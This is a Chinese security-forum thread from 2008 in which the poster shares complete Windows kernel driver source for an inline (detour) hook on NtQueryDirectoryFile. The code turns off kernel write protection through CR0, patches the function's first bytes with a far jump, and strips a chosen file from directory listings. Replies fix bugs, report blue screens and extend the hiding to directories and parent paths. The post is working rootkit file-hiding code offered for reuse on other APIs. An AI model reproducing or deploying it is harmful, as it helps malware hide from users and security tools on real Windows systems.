首页
论坛
课程
招聘
[分享]inline hook NtQueryDirectoryFile
2008-5-8 19:12 12395

[分享]inline hook NtQueryDirectoryFile

2008-5-8 19:12
12395
不敢说原创了 因为没什么是我创的

学习了Rootkits.Subverting.the.Windows.Kernel中的detour补丁一章和一篇kernel inline hook的精华写下了下面代码 练练手
inline hook NtQueryDirectoryFile实现了隐藏文件 代码其实还有很多要改进的地方 inline hook 应该还有很多发展的空间 比如我这个代码开头就jmp了 太明显了 可以改后面的字节再jmp
好不容易实现了 就赶紧发上来了 给和我一样新手们 改改就可以hook 别的api了

#include "ntddk.h"

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI NtQueryDirectoryFile(
  IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan
  );

NTSTATUS Check();
VOID write();
VOID write_back();

NTSTATUS rc;
////////
ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;
PFILE_BOTH_DIR_INFORMATION currentDirInfo = NULL;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
ULONG offset = 0;
ULONG position = 0;
ULONG newLenth = 0;
BOOL hook;
////////
// This is our unload function

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{

      DbgPrint("OnUnload called\n");
	  if(hook)
		write_back();

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

                     IN PUNICODE_STRING theRegistryPath)

{

      DbgPrint("I loaded!");
		if(NT_SUCCESS(Check()))
		{
			DbgPrint(" check SUCCESS");
			write();
			hook=TRUE;
		}
		else
			DbgPrint(" check UNSUCCESSFUL");
		theDriverObject->DriverUnload  = OnUnload;

		return STATUS_SUCCESS;

}
//检查一下符合不
NTSTATUS Check()
{
	int i=0;
	char *p=(char *)NtQueryDirectoryFile;
	/*
		mov     edi,edi
		push	ebp
		mov		ebp, esp
		lea     eax,[ebp+2Ch]
		push    eax

	*/
	char c[]={0x8b,0xff,0x55,0x8b,0xec,0x8d,0x45,0x2c,0x50};
	for(;i<9;i++)
	{
		DbgPrint("-0x%02X",(unsigned char)p[i]);
		if(p[i]!=c[i])
		{
			return STATUS_UNSUCCESSFUL;
		}
	}
	return STATUS_SUCCESS;
}

__declspec(naked) NTAPI MyNtQueryDirectoryFile(IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,
  IN  BOOLEAN RestartScan)
{

	__asm 
	{
		push ebp
		mov ebp,esp
		pushad
	}
	//将参数压入
	__asm
	{
		push [ebp+30h]
		push [ebp+2Ch]
		push [ebp+28h]
		push [ebp+24h]
		push [ebp+20h]
		push [ebp+1Ch]
		push [ebp+18h]
		push [ebp+14h]
		push [ebp+10h]
		push [ebp+0Ch]
		push [ebp+08h]
	}

	__asm
	{
		//int 3
		jmp forwArd
		bAck:
	}

	__asm
	{		
		// exec missing instructions
		mov     edi,edi
		push	ebp
		mov		ebp, esp
		lea     eax,[ebp+2Ch]
		push    eax
	}
		// jump to re-entry location in hooked function
		// this gets 'stamped' with the correct address
		// at runtime.
		//
		// we need to hard-code a far jmp, but the assembler
		// that comes with the DDK will not poop this out
		// for us, so we code it manually
		// jmp FAR 0x08:0xAAAAAAAA
	__asm
	{
		_emit 0xEA
		_emit 0xAA
		_emit 0xAA
		_emit 0xAA
		_emit 0xAA
		_emit 0x08
		_emit 0x00
	}
	
	__asm 
	{
		forwArd:
		call bAck
	}

	__asm
	{
		mov rc,eax
	}
	//隐藏文件//////////////////////////
	if(NT_SUCCESS(rc)&&FileInformationClass==FileBothDirectoryInformation)
	{
		currentDirInfo =(PFILE_BOTH_DIR_INFORMATION)FileInformation;
		newLenth = Length;
		RtlInitAnsiString(&HideDirFile,"abc.txt"); 
		do
		{
			offset = currentDirInfo->NextEntryOffset;
			RtlInitUnicodeString(&uniFileName,currentDirInfo->FileName);
			RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
			RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
			if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
			{
				if (0 == offset)
				{
					if (lastDirInfo)
					{
						lastDirInfo->NextEntryOffset = 0;
						newLenth -= Length - position;
					}
					else
					{
						currentDirInfo->NextEntryOffset = 0;
						Length = 0;
						//return rc;
						__asm
						{
							popad
							mov esp,ebp
							pop ebp
							mov eax,rc
							ret 0x2C
						}
					}
				}
				else
				{
					RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo + offset, Length - position - offset);
					newLenth -= offset;
					position += offset;
				}
			}
			else
			{
				position += offset;
				lastDirInfo = currentDirInfo;
				currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
			}
		} while (0 != offset);
		Length = newLenth;
	}
	//return rc;
	__asm
	{
		popad
		mov esp,ebp
		pop ebp
		mov eax,rc
		ret 0x2C
	}
}
//写入补丁
VOID write()
{
	char *actual_function=(char *)NtQueryDirectoryFile;
	char *non_paged_memory;
	unsigned long detour_address;
	unsigned long reentry_address;
	int i = 0;

	char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };

	reentry_address = ((unsigned long)NtQueryDirectoryFile) + 9; 

	non_paged_memory = ExAllocatePool(NonPagedPool,1024);

	for(i=0;i<1024;i++)
	{
		((unsigned char *)non_paged_memory)[i] = ((unsigned char *)MyNtQueryDirectoryFile)[i];
	}

	detour_address = (unsigned long)non_paged_memory;

	*( (unsigned long *)(&newcode[1]) ) = detour_address;


	for(i=0;i<1024;i++)
	{
		if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
			(0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
			(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
			(0xAA == ((unsigned char *)non_paged_memory)[i+3]))
		{
			// we found the address 0xAAAAAAAA
			// stamp it w/ the correct address
			*( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
			break;
		}
	}

	__asm
	{
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

	for(i=0;i < 9;i++)
	{
		actual_function[i] = newcode[i];
	}

	__asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }
}
//写回
VOID write_back()
{
	char *actual_function=(char *)NtQueryDirectoryFile;
	char c[]={0x8b,0xff,0x55,0x8b,0xec,0x8d,0x45,0x2c,0x50};
	int i;
	__asm
	{
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

	for(i=0;i < 9;i++)
	{
		actual_function[i] = c[i];
	}

	__asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
	}
}


安卓应用层抓包通杀脚本发布!《高研班》2021年3月班开始招生!

收藏
点赞0
打赏
分享
最新回复 (15)
雪    币: 441
活跃值: 活跃值 (43)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
Sysnap 活跃值 14 2008-5-8 20:14
2
0
这种方法学习是不错....但用于隐藏文件????不太行啊
雪    币: 496
活跃值: 活跃值 (339)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-5-8 20:32
3
0
写地不错啊。

雪    币: 207
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-5-8 23:23
4
0
为什么啊
雪    币: 108
活跃值: 活跃值 (81)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-5-9 09:00
5
0
__asm
  {
    forwArd:
    call bAck
  }
这句写的精彩。
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
百折不挠 活跃值 2008-5-9 10:01
6
0
BOOL hook后面少了个分号,
if(NT_SUCCESS(Check()))
    {
      DbgPrint(" check SUCCESS");
      write();
      hook=true;   //这里好象不能用小写的,hook定义的是BOOL.而不是bool,
    }
雪    币: 207
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-5-9 10:58
7
0
谢谢提醒 我改了 那句其实是后加的 没经编译的
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
百折不挠 活跃值 2008-5-9 15:09
8
0
我修改了隐藏的文件名,改成一个目录,在XPDDK下编译后,一旦访问到隐藏的目录
就蓝屏重启了。比如,隐藏了目录ABC,一旦在地址栏里输入ABC就BOSD了。
还有令我不解的是:
//return rc;
            __asm
            {
              popad
              mov esp,ebp
              pop ebp
              mov eax,rc
              ret 0x2C
            }

为什么不用
return rc;
呢?
NtQueryDirectoryFile函数和zwQueryDirectoryFile谁是最底层?感觉两个函数都一样啊。
雪    币: 207
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-5-9 15:37
9
0
第一个问题 我不知道 还在考虑
第二个问题 因为是nake func 堆栈都要自己平衡
第三个问题 NtQueryDirectoryFile
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yoli 活跃值 2008-5-9 15:53
10
0
为什么会出现这个 warning 那:
'MyNtQueryDirectoryFile' : function should return a value; 'void' return type assumed
因为这个warning .sys 没有被生成。
我用的是 DDKWizard 的编译环境, 2003 DDK。
雪    币: 207
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-5-9 16:02
11
0
直接用ddk编译试试
雪    币: 207
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-5-9 16:05
12
0
给你我的sys
上传的附件:
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yoli 活跃值 2008-5-9 16:42
13
0
环境好了。
谢谢LZ 的帮助及分享。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yoli 活跃值 2008-5-9 16:53
14
0
不好意思,还得问一下。这个驱动怎么用那。我试了一下:

"RtlInitAnsiString(&HideDirFile,"c:\\Test");" 和
"RtlInitAnsiString(&HideDirFile,"c:\\Test\\Test.txt");"

怎么没有隐藏成功。有什么不对的地方么?
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
百折不挠 活跃值 2008-5-9 17:18
15
0
这样写:
RtlInitAnsiString(&HideDirFile,"Test");
就可以隐藏任何test目录了。
不能带路径。
我用OD试了一下,在调用NtQueryDirectoryFile函数时,会把上级目录放在FileName参数里,
NTAPI NtQueryDirectoryFile(
  IN  HANDLE FileHandle,
  IN  HANDLE Event OPTIONAL,
  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  IN  PVOID ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK IoStatusBlock,
  OUT PVOID FileInformation,
  IN  ULONG Length,
  IN  FILE_INFORMATION_CLASS FileInformationClass,
  IN  BOOLEAN ReturnSingleEntry,
  IN  PUNICODE_STRING FileName OPTIONAL,   //上级目录
  IN  BOOLEAN RestartScan
  );

我要对此参数进行过滤要怎么做?比如:当FileName="c:\test"就函数直接反回。我试了N次都是因为FileName的数据类型不能强制转换而不能通过。
UNICODE_STRING uniFileNamenew;

ANSI_STRING  FileNamenew;
RtlInitUnicodeString(&uniFileNamenew,FileName);
      RtlUnicodeStringToAnsiString(&FileNamenew,&uniFileNamenew,TRUE);

if(RtlCompareMemory(FileNamenew.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
{
rc=0;
__asm
            {
              popad
              mov esp,ebp
              pop ebp
              mov eax,rc
              ret 0x2C
            }

}

大概意思就是上面这段代码,我知道肯定不简单,我C++的数据类型转换不熟,请hfyy大哥看看要怎么改?
雪    币: 207
活跃值: 活跃值 (15)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
hfyy 活跃值 2 2008-5-10 16:42
16
0
如果你不做什么操作 返回的rc就是原谅调用NtQueryDirectoryFile返回的NTSTATUS 我想根本看不出什么区别吧
游客
登录 | 注册 方可回帖
返回